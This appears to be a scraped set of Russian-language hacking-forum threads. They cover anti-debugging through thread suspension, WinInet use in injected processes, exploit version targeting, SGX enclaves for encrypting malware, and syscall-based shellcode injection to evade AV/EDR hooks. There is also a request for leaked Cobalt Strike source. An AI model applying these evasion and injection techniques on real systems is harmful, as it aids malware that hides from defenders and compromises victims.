Если вы посмотрите на первый пример кода с PsSuspendProcess, в нем нет проверки на ошибки, и вам все равно, если вы больше не можете приостановить поток. Так что же происходит, когда вы вызываете NtResumeProcess? Он уменьшает счетчик приостановки! Все, что нам нужно сделать, это довести его до максимума, и когда кто-то решит приостановить и возобновить нас, он фактически оставит счет в состоянии, в котором он не был ранее.

Пример

Приведенный ниже простой код довольно эффективен:
Visual Studio - предотвращает приостановку процесса после присоединения.
WinDbg - обнаруживается при подключении.

x64dbg - кнопка паузы становится схематичной с сообщениями об ошибках типа «Программа не запущена» до тех пор, пока вы вручную не переключитесь на основной поток.

ScyllaHide - более старые версии использовали NtSuspendProcess и вызывали его обнаружение, но это было исправлено, как только я сообщил об этом.

C:Copy to clipboard

for(size_t i = 0; i < 128; ++i)
  NtSuspendThread(thread, nullptr);

while(true) {
  if(NtSuspendThread(thread, nullptr) != STATUS_SUSPEND_COUNT_EXCEEDED)
    std::puts("I was suspended\n");
  Sleep(1000);
}

Заключение

Во всяком случае, я надеюсь, что это продемонстрировало, что лучше не полагаться на NtSuspendProcess в работе так хорошо, как вы ожидаете от инструментов, работающих с потенциально вредоносным или защищенным кодом. Надеюсь, вам понравился этот пост, и ожидаем, что в ближайшие недели появится больше контента.

Оригинал: https://secret.club/2021/01/04/thread-stuff.html
Перевод: danyrusdem

исходные коды Cobalt Strike 4.0
ID: 6765d804b4103b69df3759f9
Thread ID: 44258
Created: 2020-11-12T20:02:24+0000
Last Post: 2020-12-27T23:53:52+0000
Author: merdock
Replies: 4 Views: 2K

Народ скиньте ссылку для скачивания по теме,

![xakep.ru](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2020%2F11%2F328596%2Fgithub- repo.jpg&hash=681c559f729634c674d9552703a3dfd3&return_error=1)

[ СМИ: исходные коды Cobalt Strike опубликовали в сети

](https://xakep.ru/2020/11/12/cobalt-strike-github/)

Издание Bleeping Computer сообщает, что на GitHub были обнаружены исходные коды Cobalt Strike, популярного инструмента для эксплуатации и постэксплуатации, изначально созданного для пентестеров и red team, но горячо любимого хакерами.

![xakep.ru](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2017%2F06%2Fxakep- favicon-93x93.png&hash=133fa43656be1765722fac39a9e3c87e&return_error=1) xakep.ru

а то все линки закрыты.

wininet при инъекции процесса
ID: 6765d804b4103b69df3759fa
Thread ID: 46050
Created: 2020-12-26T20:24:36+0000
Last Post: 2020-12-26T21:37:16+0000
Author: 0x60b1iN
Replies: 23 Views: 2K

Доброго времени суток,

Подскажите пожалуйста необразованному. Используется wininet для самых обыкновенных запросов, при инъекции процесса при первом вызове функции из либы вининета аварийное завершение. При работе в основном процессе без проблем выполняется код. Скорее всего причина в выделении памяти, которое происходит внутри функции. Подозреваю, что если кто-то ответит, то скажет дебажить процесс в который происходит инъекция :) Но все же, я хотел бы знать ваше мнение, стоит вообще использовать вининет при подобных задачах, или писать кастомный модуль для работы через хттп. И можно вообще юзать вининет в инжектированном процессе? Благодарю за внимание.1609013586752.png

Курсы С++
ID: 6765d804b4103b69df3759fb
Thread ID: 45478
Created: 2020-12-12T22:36:48+0000
Last Post: 2020-12-26T17:59:04+0000
Author: a.dimka
Replies: 15 Views: 2K

Подскажите хорошие курсы С++ платные/бесплатные не важно

Подскажите библиотеку для Zip с поддержкой wchar_t UNICODE в путях файлов
ID: 6765d804b4103b69df3759fe
Thread ID: 44200
Created: 2020-11-11T15:15:36+0000
Last Post: 2020-12-25T12:00:35+0000
Author: PyDev
Replies: 13 Views: 2K

Софт пишу на чистом С. Нужна либа для работы с zip, которая поддерживает wchar_t , он же PWSTR.
Все что есть на гитхабе будет не корректно работать в случае если в пути до папки есть символы нац.алфавитов, поскольку там везде char или unsigned char.

В принципе в Windows 10 можно штатными средствами сделать. Но в win7 вроде нету zip из коробки

PoC формата .cpp
ID: 6765d804b4103b69df375a01
Thread ID: 45751
Created: 2020-12-19T23:06:17+0000
Last Post: 2020-12-20T21:21:33+0000
Author: SenctumSempra
Replies: 10 Views: 2K

Доброго вечера друзья - прочитал интересную статью от Azrv3l - https://xss.is/threads/45722/#post-286634
Меня она очень сильно заинтересовала, но так как я возможно не до конца не понимаю, что такое пруф концепта и не умею работать с C++, у меня ничего не получилось скомпилировать в .exe файл

Ребята, будьте добры, объясните, при дебаге вижу что не хватает зависимостей, насколько я понял это

C++:Copy to clipboard

#include <iostream>
#include <Windows.h>
#include <string>
#include <sstream>
#include <wincrypt.h>
#include <tlhelp32.h>
#include <AclAPI.h>

Это вообще возможно собрать в полноценный файл исполнения?

Полный PoC вы можете найти его здесь: https://github.com/tenable/poc/tree/master/Microsoft/Sysinternals/PsExecEscalate.cpp

Click to expand...

Получение версии ОС Windows через ключи системного реестра.
ID: 6765d804b4103b69df375a0d
Thread ID: 44535
Created: 2020-11-19T14:46:28+0000
Last Post: 2020-11-20T11:34:33+0000
Author: varwar
Prefix: Статья
Replies: 1 Views: 2K

Введение​

В этой статье я хотел бы рассмотреть один из способов получения информации об операционной системе через ключи реестра Windows в пользовательском режиме (ring 3), однако, аналогичным образом могут быть получены данные и в режиме ядра (ring 0).

Известно, что поля MajorVersion, MinorVersion и BuildNumber могут быть извлечены напрямую из структуры _PEB или через вызов RtlGetVersion в режиме ядра, которая, в свою очередь, возвращает указатель на структуру _OSVERSIONINFO. Эта информация может быть использована при разработке эксплойтов или какого-либо легитимного ПО. Особенно справедливо это для версий Windows 10 , Windows Server 2016/2019 , которые имеют дополнительное поле UBR (Update Build Revision), не представленное структурой _PEB. Например, если вы разрабатываете эксплойт для [CVE-2020-17087](https://bugs.chromium.org/p/project- zero/issues/detail?id=2104), то из двух версий ОС 19042.542 и 19042.630 уязвимой будет только первая. Следовательно, проверки по BuildNumber недостаточно и желательно дополнительно проверять поле UBR. Это будет надежнее, т. к., отпадает вероятность попытки эксплуатации пропатченного билда. Безусловно, есть и другие способы, основанные на проверке версии файлов, но в этой статье мы их не будем рассматривать.

Ключи реестра​

Для наших целей может подойти два ключа:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion и
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion.

Оба ключа идентичны с той лишь разницей, что второй используется как редиректор на 64-битных системах. Например, когда 32-битное приложение читает значение ключа из HKEY_LOCAL_MACHINE\SOFTWARE<компания><продукт>, то оно в действительности его получает из HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node<компания><продукт>.

В качестве тестируемых значений мы попробуем получить данные полей CurrentMajorVersionNumber, CurrentMinorVersionNumber, CurrentBuild и UBR.

Поля ключа HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion

Функции RegOpenKeyEx и RegQueryValueEx​

В качестве кандидатов для выполнения нашей задачи нам потребуются Windows API RegOpenKeyEx и RegQueryValueEx.

Прототип функций выглядит следующим образом:

Code:Copy to clipboard

LSTATUS RegOpenKeyExA(

    HKEY hKey,

    LPCSTR lpSubKey,

    DWORD ulOptions,

    REGSAM samDesired,

    PHKEY phkResult
);

LSTATUS RegQueryValueExA(

    HKEY hKey,

    LPCSTR lpValueName,

    LPDWORD lpReserved,

    LPDWORD lpType,

    LPBYTE lpData,

    LPDWORD lpcbData
);

Сам код довольно примитивный и не требует дополнительных разъяснений.

C:Copy to clipboard

#include <windows.h>
#include <winreg.h>
#include <stdio.h>

extern "C"
int ShowWindVer()
{
    // Объявлям переменные типа DWORD, которые будут хранить необходимые значения.
    // Поскольку запись реестра CurrentBuild имеет тип REG_SZ, то
    // результат мы сохраняем в массив
    DWORD mj_ver, min_ver, ubr, dwType, size;
    BYTE cur_build[256];
    HKEY hKey;
    LSTATUS retValue;
    LPCSTR lpSubkey = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion";

    // Открываем хэндл ключа для чтения
    retValue = RegOpenKeyExA(HKEY_LOCAL_MACHINE,
                            lpSubkey,
                            NULL,
                            KEY_QUERY_VALUE,
                            &hKey);
    // Проверяем возвращаемое значение
    if (ERROR_SUCCESS != retValue) {
        printf("RegOpenKeyEx err=%ld\n", retValue);
        return 1;
    }
    // Получаем значение CurrentMajorVersionNumber
    size = sizeof(DWORD);
    retValue = RegQueryValueExA(hKey,
                                "CurrentMajorVersionNumber",
                                NULL,
                                &dwType,
                                (LPBYTE)&mj_ver,
                                &size);
 
    if (ERROR_SUCCESS != retValue) {
        printf("MajorVersion err=%ld\n", retValue);
        return 1;
    }
 
    // Получаем значение CurrentMinorVersionNumber
    size = sizeof(DWORD);
    retValue = RegQueryValueExA(hKey,
                                "CurrentMinorVersionNumber",
                                NULL,
                                &dwType,
                                (LPBYTE)&min_ver,
                                &size);
 
    if(ERROR_SUCCESS != retValue) {
        printf("MinorVersion err=%ld\n", retValue);
        return 1;
    }

    // Получаем значение CurrentBuild
    memset(cur_build, 0, sizeof(cur_build));
    size = sizeof(cur_build);
    retValue = RegQueryValueExA(hKey,
                                "CurrentBuild",
                                NULL,
                                &dwType,
                                (LPBYTE)&cur_build,
                                &size);

    if (ERROR_SUCCESS != retValue) {
        printf("CurrentBuild err=%ld", retValue);
        return 1;
        // Обрабатываем ERROR_MORE_DATA при необходимости
        // ...
    }

    // Получаем значение UBR
    size = sizeof(DWORD);
    retValue = RegQueryValueExA(hKey,
                                "UBR",
                                NULL,
                                &dwType,
                                (LPBYTE)&ubr,
                                &size);

    if (ERROR_SUCCESS != retValue) {
        printf("UBR err=%ld", retValue);
        return 1;
    }

    // Выводим результат
    printf("The Windows version is: %d.%d.%s.%d\n",
            mj_ver,
            min_ver,
            cur_build,
            ubr);
 
    size = 0;
    memset(cur_build, 0, sizeof(cur_build));
    RegCloseKey(hKey);
    return 0;
}

extern "C"
int main()
{
    ShowWindVer();
}

Любые замечания, идеи и вопросы прошу оставлять в комментариях.

Парсер xml c++
ID: 6765d804b4103b69df375a0e
Thread ID: 42391
Created: 2020-09-23T04:37:57+0000
Last Post: 2020-11-16T06:31:20+0000
Author: Jurddox
Replies: 9 Views: 2K

Всем привет, ищу нормальный xml парсер без использования crt, да их на гитхабе полно, но там, то не рабочие, то с ошибками(лень что то исправлять), то с использованием fstream, string. Пробовал tinyxml, там не только парсер был, в том коде невозможно разобраться, что то вырезать и т.д. Вообщем прошу скинуть если знаете какие нибудь парсеры

HTTP WinInet
ID: 6765d804b4103b69df375a11
Thread ID: 43997
Created: 2020-11-06T15:48:34+0000
Last Post: 2020-11-07T11:48:23+0000
Author: Jeffs
Replies: 13 Views: 2K

В общем-то, написал простенький код для отправки http/https запросов:

C:Copy to clipboard

HTTP::Resp* HTTP::SendReq(LPWSTR type, LPWSTR domain, DWORD port, LPWSTR path, Buffer* data)
{
    BOOL bSuccess = TRUE;
    HINTERNET hInternet = nullptr, hConnect = nullptr, hRequest = nullptr;
    DWORD timeOut = HTTP_TIMEOUT_SEC * 10000;
    Resp* resp = nullptr;
    DWORD flag = INTERNET_FLAG_KEEP_CONNECTION | INTERNET_FLAG_NO_CACHE_WRITE | INTERNET_FLAG_PRAGMA_NOCACHE;
    if (port == INTERNET_DEFAULT_HTTPS_PORT)
        flag |= INTERNET_FLAG_SECURE | INTERNET_FLAG_IGNORE_CERT_CN_INVALID | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID |
        INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS;

    do
    {
        hInternet = InternetOpenW(HTTP_USERAGENT, INTERNET_OPEN_TYPE_PRECONFIG, nullptr, nullptr, 0);
        if (!(bSuccess = (hInternet != nullptr))) break;

        InternetSetOptionW(hInternet, INTERNET_OPTION_SEND_TIMEOUT, &timeOut, sizeof(timeOut));
        InternetSetOptionW(hInternet, INTERNET_OPTION_RECEIVE_TIMEOUT, &timeOut, sizeof(timeOut));
        InternetSetOptionW(hInternet, INTERNET_OPTION_CONNECT_TIMEOUT, &timeOut, sizeof(timeOut));

        hConnect = InternetConnectW(hInternet, domain, port, nullptr, nullptr, INTERNET_SERVICE_HTTP, 0, 0);
        if (!(bSuccess = (hConnect != nullptr))) break;

        hRequest = HttpOpenRequestW(hConnect, type, path, nullptr, nullptr, 0, flag, 0);
        if (!(bSuccess = (hRequest != nullptr))) break;

        if (!(bSuccess = HttpSendRequestW(hRequest, nullptr, 0, (LPVOID)data->data, data->size))) break;

        resp = (Resp*)Mem::Alloc(sizeof(Resp));
        if (!(bSuccess = (resp != nullptr))) break;

        resp->data = (BYTE*)Mem::Alloc(1);
        if (!(bSuccess = (resp->data != nullptr))) break;

        resp->code = GetStatusCode(hRequest);
        resp->size = 0;

        BYTE tempBuff[2048] = { 0 };
        DWORD dwRead;
        while (InternetReadFile(hRequest, tempBuff, 2048, &dwRead) && dwRead)
        {
            resp->data = (BYTE*)Mem::Realloc(resp->data, resp->size + dwRead);
            Mem::Copy(resp->data + resp->size, tempBuff, dwRead);
            resp->size += dwRead;
        }
    } while (FALSE);

    if (hInternet) InternetCloseHandle(hInternet);
    if (hConnect) InternetCloseHandle(hConnect);
    if (hRequest) InternetCloseHandle(hRequest);
    if (!bSuccess)
    {
        if (resp->data) Mem::Free(resp->data);
        Mem::Free(resp);
        return nullptr;
    }

    return resp;
}

Судя по [доке](https://docs.microsoft.com/en-us/windows/win32/api/wininet/nf- wininet-httpopenrequestw) - чтобы отправить https запрос достаточно добавить флаг INTERNET_FLAG_SECURE в HttpOpenRequestW, но даже если добавить этот флаг

  • запрос шлётся по http. В чём может быть проблема?
Json парсер от меня
ID: 6765d804b4103b69df375a14
Thread ID: 42607
Created: 2020-09-28T19:21:22+0000
Last Post: 2020-10-26T09:58:15+0000
Author: Jurddox
Prefix: Статья
Replies: 12 Views: 2K

Всем привет, сегодня я вам попытаюсь объяснить как можно легко парсить данные из json формата. И это не будут либы которые весят по 20кб. Вот код:

C++:Copy to clipboard

#include <vector>
#include <shlwapi.h>
#include <iostream>

void split(std::vector<LPCSTR> &vec, char* line, const char* symbol)
{
    char* part = strtok(line, symbol);
    while (part)
    {
        vec.push_back(part);
        part = strtok(NULL, symbol);
    }
}

void test()
{
    char* value = NULL; // Строка, в которую будет помещено нужное значение
    std::vector<LPCSTR> vec;  //Вектор, в который будет записаны данные, разбитые на "
    split(vec, json, "\"");  //json - сами json данные
    for (int i = 0; i < vec.size(); i++)
    {
        if (strcmp(vec[i], "value") == 0) //Сравниваем строки, если vec[i] наш ключ, то идём дальше
        {
            value = (char*)malloc(strlen(vec[i] + 2) + 1);  //Выделение памяти
            strcpy(value, vec[i + 2]);  //vec[i + 2] - будет само значение ключа "value"
            break; //Выходим с цикла
        }
    }
    if (value != NULL)
    {
        std::cout << value << std::endl; // Выводим значение
        free(value); //Очищаем память
    }
}
Что такое анклав, пример тестового проекта и анализ применения анклава в блеке
ID: 6765d804b4103b69df375a17
Thread ID: 43164
Created: 2020-10-13T05:47:20+0000
Last Post: 2020-10-13T10:18:37+0000
Author: X-Shar
Prefix: Статья
Replies: 15 Views: 2K

Всем привет, решил скопировать сюда тоже свою статью с васма:[https://wasm.in/threads/chto-takoe-...ta-i-analiz-primenenija-anklava- v-bleke.33910](https://wasm.in/threads/chto-takoe-anklav-primer-testovogo- proekta-i-analiz-primenenija-anklava-v-bleke.33910)

Изначально писал сюда под конкурс, но понял что на данный момент у меня знаний нехватает для написания статей под конкурс, т.к. получаются сборные статьи из нескольких статей, которые уже есть в паблике, либо частичные переводы, что может как минимум нарушать правила конкурса, ну и если сравнивать с другими статьями, к сожалению недотягивает что-бы конкурировать с ними...:(

Но тем не менее кому-то такие статьи могут быть интересны.)))

Мотивация написать такую статью, было то-что часто слышу, что есть такой самый крутой анклав, который может прятать данные ваших программ от реверсера, антивирусов и даже операционной системы.

Звучит как в сказке, а действительно было-бы не плохо прятать какие-то данные от лишних глаз реверсера, или еще кого.

Я начал разбираться, а как можно создать такой анклав и что-то сделать с ним ?

Кому интересно, предлагаю прочитать эту статью.

Хочу отметить, что статья направлена больше для новичков, которые мало понимают что такое SGX и даёт поверхностные знания, что это за технология.

Итак, что-же такое анклав ?

Если кратко, то весь смысл Intel SGX (А мы будем говорить именно про него) по сути сводится к тому-что, в процессоре есть какая-то защищенная область памяти, которая доступна только процессору, больше никто даже операционная система доступ туда получить не может, по сути это и есть анклав.

В модели SGX приложение делится на доверенную и ненадежную часть. Недоверенная часть - это та часть, которая взаимодействует с остальной системой, а также создает анклав, который считается безопасной частью приложения (Это доверенная часть).

Внутри анклава хранятся важные данные, доступные только процессору.

Все экземпляры анклава изолированы друг от друга, поэтому они могут взаимодействовать только через свою ненадежную часть.

Доверенный и недоверенный код жестко связываются между собой ключами шифрования с использованием протокола Диффи-Хеллмана.

За процедуру подписи отвечает процессор, где и хранится ключ обмена информации, обновляющийся каждый раз при перезагрузке системы. Содержимое анклавов хранится в общей памяти, используемой пользовательскими приложениями, **однако хранение происходит в зашифрованном виде. Расшифровать содержимое может только процессор.

Вообще по теме много публикаций есть, цель этой статьи дать начальное представление о SGX, также показать как сделать каркас проекта для дальнейших экспериментов.

Ещё пару строк про функции ECALL и OCALL:**

Доверенная часть представляет из себя набор функций и процедур, называемых ECALL (Enclave Call). Сигнатура таких функций должна быть прописана в специальном header-файле, а их реализация в файле с исходным кодом доверенного приложения, которое будет выполняться в процессоре.
Enclave Call – Это реализация программы в анклаве.

Также необходимо прописать прототипы тех функций, которые можно будет вызвать изнутри анклава в недоверенное приложение, такие функции называются OCALL (Outside Call). Прототипы прописываются в том же заголовочном файле, где и ECALL-функции, а реализация, в отличие от ECALL, прописывается соответственно в недоверенной части приложения.

Давайте перейдем к реализации простого примера:

Итак предлагаю написать демонстрационный пример, который просто передаст какие-то защищенные данные из анклава в наше приложение.

Ну например, пусть в анклаве у нас будет хранится какой-то буфер:
сhar* enclave_secret = "I am enclave !";

Этот буфер нам и нужно передать в наше приложение, в будущем эти наработки можно использовать как каркас, для написания более сложных приложений, например внутри анклава можно реализовать алгоритмы шифрования/расшифрования, ну тогда вы будете уже передавать приложению расшифрованные данные и т. д.

Итак, что-же нам нужно для работы:

1)Скачать и установить Visual Studio, я использую 2019 версию...
2)Cкачать и установить SDK для работы с SGX:<https://software.intel.com/content/www/us/en/develop/topics/software- guard-extensions/sdk.html>

В процессе скачки, будет предложена утомительная регистрация, но думаю вы справитесь...)))

На этапе установки будет предложено интегрировать пакет разработки в имеющуюся на компьютере версию VS, сделайте это.

1602567221217.png

Итак запускаем вижуалку и создаём проект:

1602567240930.png

1602567249678.png

Далее такое окно:

1602567265310.png

Тут я оставил всё как есть:

1602567281521.png

Затем добавим к созданному решению, ещё один проект: обычное консольное приложение C++.

1602567306789.png

В результате у нас должно быть что-то такое в обозревателе решений:

1602567328357.png

Теперь необходимо связать анклав с нашей программой консоли (Это недоверенная часть), для этого жмем правой кнопкой на проекте «Console_demo»:

1602567345367.png

1602567353935.png

Теперь нужно изменить некоторые свойства проекта «Console_demo» и «Enclave_demo»:

ОБЯЗАТЕЛЬНО СДЕЛАЙТЕ ЭТИ НАСТРОЙКИ ДЛЯ ДВУХ ПРОЕКТОВ:

1602567371347.png

1602567379077.png

Ещё необходимо обозначить в свойствах решения главный проект.

1602567398064.png

Всё мы закончили настройки, теперь давайте кодить…)

У нас два решения:
«Console_demo» и «Enclave_demo»:

Из сгенерированных файлов, нам будет интересно три файла:

  1. Enclave_demo.edl – Это по сути заголовочный файл, туда мы пропишем имена и прототипы ECALLs и OCALLs функций (Проект «Enclave_demo»).
  2. Enclave_demo.cpp – Это доверенная часть приложения (Проект «Enclave_demo»). Тут будет реализация ECALLs.
  3. Console_demo.cpp – Это недоверенная часть приложения (Проект «Console_demo»). Тут будет реализация OCALLs.

Пропишем реализацию Console_demo.cpp:

C:Copy to clipboard

#define ENCLAVE_FILE "Enclave.signed.dll" //Библиотека, через которую осуществляется подпись анклава
#define BUFFER_LEN 256 //Размер буфера данных, которые мы отправляем в анклав
 
#include "sgx_urts.h"  //Базовый заголовочный файл, в котором реализованы функции управления анклавом
#include "Enclave_demo_u.h" //Подключение автоматически сгенерированного файла
#include "stdio.h"
 
void ocall_function(char* buf) //OCALL функция для вывода текстовой строки - секрета из анклава. Вызов из анклава.
{
    printf("+++ OCALL output: %s\n", buf);
}
 
static sgx_enclave_id_t enclave_id = 0; // id анклава, в проекте может быть несколько анклавов, каждый со своим id
static sgx_status_t enclave_ret = SGX_SUCCESS; //Статус выполнения операции
static sgx_launch_token_t enclave_token = { 0 }; //Массив нициализации токена запуска для анклава
static int enclave_token_updated = 0; // Флаг, что токен запуска не был изменен
static char buffer[BUFFER_LEN]; // Буфер, в который будет записан секрет из анклава
 
int main()
{
    sgx_status_t ret = sgx_create_enclave(ENCLAVE_FILE, SGX_DEBUG_FLAG, &enclave_token, &enclave_token_updated, &enclave_id, NULL); //Функция создания анклава
 
    if (ret != SGX_SUCCESS)
    {
        printf("+++ Failed to create enclave with error number: %#x\n", ret);
        return 0;
    }
 
    ecall_function(enclave_id, buffer, BUFFER_LEN); //Вызов ECALL функции
 
    printf("\n+++ ECALL Output: %s\n", buffer); //Вывод полученного секрета
 
    system("pause");
}

Реализация Enclave_demo.cpp:

C:Copy to clipboard

#include "Enclave_demo_t.h"
#include "sgx_trts.h"
#include <cstring>
 
void ecall_function(char* str, size_t len)
{
    char* secret = "I am enclave !"; // Наша секретная фраза
 
    memcpy(str, secret, len); //Копируем секрет по адресу, которую получили
 
    ocall_function(secret); //Вызов OCALL-функции
}

Реализация заголовочного файла Enclave_demo.edl:

C:Copy to clipboard

enclave {
    from "sgx_tstdc.edl" import *;
 
    trusted {
        /* define ECALLs here. */
        public void ecall_function([out, size=len] char* str, size_t len);
    };
 
    untrusted {
        /* define OCALLs here. */
        void ocall_function([in, string] char* buf);
    };
};

В итоге после запуска консольного приложения, отрабатывает функция анклава ecall_function доверенного приложения, которая вызывает функцию в недоверенное приложение ocall_function и будет вывод: +++ OCALL output: I am enclave !

Далее функция ecall_function, копирует данные из анклава в буфер недоверенного приложения и этот буфер мы и распечатываем.
И будет вывод: +++ ECALL Output: I am enclave !

Выводы:

Как видите если использовать SDK от интела и Visual Studio, то работать с анклавами достаточно не сложно, нужно просто реализовать ECALLs/OCALLs функции для обмена с анклавом из вашего приложения.
Пример проекта можно глянуть в гите:https://github.com/XShar/Enclave_demo

Теперь можно-ли это применять в малваре ?

С одной стороны не плохо-бы делать так криптовку/раскриптовку строк, или самого зверька, реализовав весь алгоритм в ECALL функции.
Но тут есть негативные моменты:
1. Не все процессоры поддерживают SGX.
А поддерживают только новые компьютеры, начиная с 2016-2017 годов.
2. На некоторых компьютерах поддержку нужно включать в биос.

Ну и самый распространенный миф, что эта технология может обойти детект в памяти, при работе например крипторов, увы, но думаю что нет, т.к. память процесса должна-быть видна в системе, а раз она видна в системе, значит будет видна и антивирусу.
В целом плюсы этой технологии в том-что вы можете сами реализовывать ECALL - функции и то-что реализовано в этой функции не должно-быть доступно антивирусу и реверсеру.)

Надеюсь данная статья даст объяснение новичкам что такое SGX, также приведенный тут проект можно использовать для экспериментов и дальнейшего изучения технологии.)

Using Syscalls to Inject Shellcode on Windows
ID: 6765d804b4103b69df375a19
Thread ID: 42772
Created: 2020-10-02T18:26:42+0000
Last Post: 2020-10-12T21:56:05+0000
Author: phant0m
Prefix: Статья
Replies: 4 Views: 2K

Using Syscalls to Inject Shellcode on Windows

After learning how to write shellcode injectors in C via the Sektor7 [Malware Development Essentials](https://www.solomonsklash.io/malware-course- review.html) course, I wanted to learn how to do the same thing in C#. Writing a simple injector that is similar to the Sektor7 one, using [P/Invoke](https://docs.microsoft.com/en-us/dotnet/standard/native- interop/pinvoke) to run similar Win32 API calls, turns out to be pretty easy. The biggest difference I noticed was that there was not a directly equivalent way to obfuscate API calls. After some research and some questions on the BloodHound Slack channel (thanks @TheWover and @NotoriousRebel!), I found there are two main options I could look into. One is using native Windows system calls (AKA syscalls), or using Dynamic Invocation. Each have their pros and cons, and in this case the biggest pro for syscalls was the excellent work explaining and demonstrating them by Jack Halon (here and here) and badBounty. Most of this post and POC is drawn from their fantastic work on the subject. I know TheWover and Ruben Boonen are doing some work on D/Invoke, and I plan on digging into that next.

I want to mention that a main goal of this post is to serve as documentation for this proof of concept and to clarify my own understanding. So while I’ve done my best to ensure the information here is accurate, it’s not guaranteed to be 100%. But hey, at least the code works.

Said working code is available here

Native APIs and Win32 APIs

To begin, I want to cover why we would want to use syscalls in the first place. The answer is [API hooking](https://outflank.nl/blog/2019/06/19/red- team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/), performed by AV/EDR products. This is a technique defensive products use to inspect Win32 API calls before they are executed, determine if they are suspicious/malicious, and either block or allow the call to proceed. This is done by slightly the changing the assembly of commonly abused API calls to jump to AV/EDR controlled code, where it is then inspected, and assuming the call is allowed, jumping back to the code of the original API call. For example, the CreateThread and CreateRemoteThread Win32 APIs are often used when injecting shellcode into a local or remote process. In fact I will use CreateThread shortly in a demo of injection using strictly Win32 APIs. These APIs are defined in Windows DLL files, in this case [MSDN](https://docs.microsoft.com/en- us/windows/win32/api/processthreadsapi/nf-processthreadsapi- createthread#requirements) tells us in Kernel32.dll. These are user-mode DLLs, which mean they are accessible to running user applications, and they do not actually interact directly with the operating system or CPU. Win32 APIs are essentially a layer of abstraction over the Windows native API. This API is considered kernel- mode, in that these APIs are closer to the operating system and underlying hardware. There are technically lower levels than this that actually perform kernel-mode functionality, but these are not exposed directly. The native API is the lowest level that is still exposed and accessible by user applications, and it functions as a kind of bridge or glue layer between user code and the operating system. Here’s a good diagram of how it looks:

16-windows-architecture.png

You can see how Kernell32.dll, despite the misleading name, sits at a higher level than ntdll.dll, which is right at the boundary between user-mode and kernel-mode.

So why does the Win32 API exist? A big reason it exists is to call native APIs. When you call a Win32 API, it in turn calls a native API function, which then crosses the boundary into kernel-mode. User-mode code never directly touches hardware or the operating system. So the way it is able to access lower-level functionality is through native PIs. But if the native APIs still have to call yet lower level APIs, why not got straight to native APIs and cut out an extra step? One answer is so that Microsoft can make changes to the native APIs with out affecting user-mode application code. In fact, the specific functions in the native API often do change between Windows versions, yet the changes don’t affect user-mode code because the Win32 APIs remain the same.

So why do all these layers and levels and APIs matter to us if we just want to inject some shellcode? The main difference for our purposes between Win32 APIs and native APIs is that AV/EDR products can hook Win32 calls, but not native ones. This is because native calls are considered kernel-mode, and user code can’t make changes to it. There are some exceptions to this, like drivers, but they aren’t applicable for this post. The big takeaway is defenders can’t hook native API calls, while we are still allowed to call them ourselves. This way we can achieve the same functionality without the same visibility by defensive products. This is the fundamental value of system calls.

System Calls

Another name for native API calls is system calls. Similar to Linux, each system call has a specific number that represents it. This number represents an entry in the [System Service Dispatch Table (SSDT)](https://resources.infosecinstitute.com/hooking-system-service- dispatch-table-ssdt/), which is a table in the kernel that holds various references to various kernel-level functions. Each named native API has a matching syscall number, which has a corresponding SSDT entry. In order to make use of a syscall, it’s not enough to know the name of the API, such as NtCreateThread. We have to know its syscall number as well. We also need to know which version of Windows our code will run on, as the syscall numbers can and likely will change between versions. There are two ways to find these numbers, one easy, and one involving the dreaded debugger.

The first and easist way is to use the handy Windows system call table created by Mateusz “j00ru” Jurczyk. This makes it dead simple to find the syscall number you’re looking for, assuming you already know which API you’re looking for (more on that later).

WinDbg

The second method of finding syscall numbers is to look them up directly at the source: ntdll.dll. The first syscall we need for our injector is NtAllocateVirtualMemory. So we can fire up WinDbg and look for the NtAllocateVirtualMemory function in ntdll.dll. This is much easier than it sounds. First I open a target process to debug. It doesn’t matter which process, as basically all processes will map ntdll.dll. In this case I used good old notepad.

01-windbg-notepad.PNG

We attach to the notepad process and in the command prompt enter x ntdll!NtAllocateVirtualMemory. This lets us examine the NtAllocateVirtualMemory function within the ntdll.dll DLL. It returns a memory location for the function, which we examine, or unassemble, with the u command:

02-windbg-NtAllocateVirtualMemory.PNG

Now we can see the exact assembly language instructions for calling NtAllocateVirtualMemory. Calling syscalls in assembly tends to follow a pattern, in that some arguments are setup on the stack, seen with the mov r10,rcx statement, followed by moving the syscall number into the eax register, shown here as mov eax,18h. eax is the register the syscall instruction uses for every syscall. So now we know the syscall number of NtAllocateVirtualMemory is 18 in hex, which happens to be the same value listed on in Mateusz’s table! So far so good. We repeat this two more times, once for NtCreateThreadEx and once for NtWaitForSingleObject.

03-windbg-NtCreateThreadEx.PNG

04-windbg-NtWaitForSingleObject.PNG

Where are you getting these native functions?

So far the process of finding the syscall numbers for our native API calls has been pretty easy. But there’s a key piece of information I’ve left out thus far: how do I know which syscalls I need? The way I did this was to take a basic functioning shellcode injector in C# that uses Win32 API calls (named Win32Injector, included in the Github repository for this post) and found the corresponding syscalls for each Win32 API call. Here is the code for Win32Injector:

11-code-win32-injector.PNG

12-code-win32-injector-hello-world.PNG

As you can see from the code, the three main Win32 API calls used via P/Invoke are VirtualAlloc, CreateThread, and WaitForSingleObject, which allocate memory for our shellcode, create a thread that points to our shellcode, and start the thread, respectively. As these are normal Win32 APIs, they each have comprehensive documentation on MSDN. But as native APIs are considered undocumented, we may have to look elsewhere. There is no one source of truth for API documentation that I could find, but with some searching I was able to find everything I needed.

In the case of VirtualAlloc, some simple searching showed that the underlying native API was [NtAllocateVirtualMemory](https://docs.microsoft.com/en- us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-ntallocatevirtualmemory), which was in fact documented on MSDN. One down, two to go.

Unfortunately, there was no MSDN documentation for NtCreateThreadEx, which is the native API for CreateThread. Luckily, badBounty’s directInjectorPOC has the function definition available, and already in C# as well. This project was a huge help, so kudos to badBounty!

